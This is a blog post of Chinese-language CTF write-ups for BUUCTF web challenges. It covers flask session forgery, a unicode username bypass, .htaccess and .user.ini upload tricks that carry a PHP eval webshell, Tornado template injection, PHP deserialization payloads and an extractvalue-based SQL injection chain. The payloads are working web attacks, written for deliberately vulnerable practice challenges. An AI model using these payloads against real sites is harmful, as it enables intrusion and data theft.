training-8

dawn_r1sing Lv3

BUUCTF

[HCTF 2018]admin 1

很巧刚搭完flask框架的小demo就碰上这道题

可惜源码已经木有了

用的暴力破解(密码很简单 猜了一次就中了)

搜了一下其他解法

flask session 伪造

image-20231201150551118

输出flag条件是 用户登录+session的name是admin

构造符合条件的session即可

自己先随便注册一个账户,登录获取session

解码session看它的构成(base64)

改name为admin,编码session

编码需要SECRET_KEY,眼熟,能找到

即可得到符合条件的session

抓包改session就能成功登录管理员账户

unicode 欺骗

因为只要用户名是admin就可以嘛

除了爆破密码还可以再注册一个admin账户

在 注册、登录、更改密码 过程中都有strlower操作,单纯改成大写并不能绕过,这里是利用了nodeprep.prepare()可将unicode字符转换成A,而A再调用一次函数会把A转换成a

image-20231201151324334

image-20231201151404803

那就可以用ᴬdmin注册(调用一次转换为Admin)之后更改密码(再次调用转换为admin,此时相当于在改管理员账户admin的密码),admin账户密码成功被更改,正常登录即可


[MRCTF2020]你传你🐎呢

1
2
3
4
5
6
hacker.png  :  平平无奇的一句话木马

.htaccess :
Addtype application/x-httpd-php .png

php_value auto_append_file "php://filter/convert.base64-decode/resource=hacker.png"

上传.htaccess时抓包改Content-Type为image/png即可上传成功

image-20231202175035857


[护网杯 2018]easy_tornado1

已知:

1
2
flag在/fllllllllllllag里
md5(cookie_secret+md5(filename))

求:

1
如何打开文件/fllllllllllllag

观察可得:当打开/flag.txt时,payload构成为“目录+filehash”

关键:filehash里的cookie_secret怎么得到

先随便试试打开/fllllllllllllag

进入错误页面,出现一个参数msg,它可以控制页面返回

结合第二条提示render,到这里应该是要利用tornado的模板注入了

image-20231203170939876

cookie_secret在Application对象settings的属性中 ,访问它需要知道它的属性名字

image-20231203171100931

self.application.settings的别名是RequestHandler.settings,而handler又是指向处理当前这个页面的RequestHandler对象,因此handler.settings指向RequestHandler.application.settings

image-20231203171609769

得到cookie_secret

image-20231202182024469


[ZJCTF 2019]NiZhuanSiWei

文件包含

  1. data伪协议写入$text

    1
    /?text=data://text/plain,welcome to the zjctf
  2. file文件自然得是useless.php

  3. 明显需要读useless.php

    1
    /?text=...&file=php://filter/read=convert.base64-encode/resource=useless.php

    解码后得

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <?php  

    class Flag{ //flag.php
    public $file;
    public function __tostring(){
    if(isset($this->file)){
    echo file_get_contents($this->file);
    echo "<br>";
    return ("U R SO CLOSE !///COME ON PLZ");
    }
    }
    }
    ?>
  4. 构造password

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <?php

    class Flag{
    ...
    }

    $password = new Flag();
    $password->file = "flag.php";
    echo $password; //触发__toString()
    $a = serialize($password);
    print_r($a);
    ?>
    // O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
  5. 构造payload

1
/?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

image-20231204113934510

flag在源码中


[极客大挑战 2019]HardSQL

黑名单过滤:空格(圆括号)、等号(like)、*、and、substr、mid、

黑名单过滤空格→报错注入

判断报错注入是否存在

1
'or(extractvalue(1,0x7e))#

capture_20231204195410938

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1'or(extractvalue(1,concat(0x7e,database(),0x7e)))#
//数据库:~geek~

'or(extractvalue(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like(database())),0x7e)))#
//表:~H4rDsq1~

'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e)))#
//字段:~id,username,password~

'or(extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e)))#
//~flag{767cc10f-8f52-489b-aa03-65

'or(extractvalue(1,right(concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),33)))#
//b-aa03-653603762b84}~

flag{767cc10f-8f52-489b-aa03-653603762b84}

注意:

  1. concat中的命令语句要加上括号
  2. right()的正确使用

[MRCTF2020]Ez_bypass1

MD5强类型绕过:数组绕过


[网鼎杯 2020 青龙组]AreUSerialz

关键点在几个绕过:

  • is_valid($s)

    FileHandler类中的成员变量属性都是protected,经过序列化操作后变量名前面有%00*%00,即NULL*NULL,不在32-125范围内,故构造序列化字符串时需要把属性改成public,即可绕过

  • $this->op === "2"

    通过include("flag.php");可知我们的目的是在read()里读取flag.php文件,需要绕过此处令op为2。

    一开始构造序列化的时候就奇怪给$op赋值个字符串“1”,原来用处在这。

    此处判断是强类型,process()里分流的时候是弱类型,可以通过赋值2绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

class FileHandler
{
public $op = 2;
public $filename = "flag.php";
public $content = "Hello World!";
}

$str = new FileHandler();
$a = serialize($str);
print_r($a);

//O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:12:"Hello World!";}

赋值str后打开源码得到flag

image-20231205180300519

也可以用php伪协议读flag.php

因为content会被变成””,所以让filename=php://filter/read=convert.base64-encode/resource=flag.php

image-20231205181129617


[SUCTF 2019]CheckIn

.user.ini目录配置文件,使用条件需要在同目录下有php文件,所以应用机会较少

题目很贴心给了源码,分析可得普通的文件上传路都被堵死了,文件后缀绕不了,00截断做不了,.htaccess文件传不进去。。

  1. 上传.user.ini文件

    1
    2
    GIF89a
    auto_prepend_file = hacker.gif
  2. 上传hacker.gif文件

    1
    2
    GIF89a
    <script language="php">eval($_REQUEST['a'])</script>
  3. 蚁剑连接

capture_20231205222852913

  • Title: training-8
  • Author: dawn_r1sing
  • Created at : 2024-04-07 10:56:44
  • Updated at : 2024-04-07 10:56:33
  • Link: https://dawnrisingdong.github.io/2024/04/07/training-8/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
training-8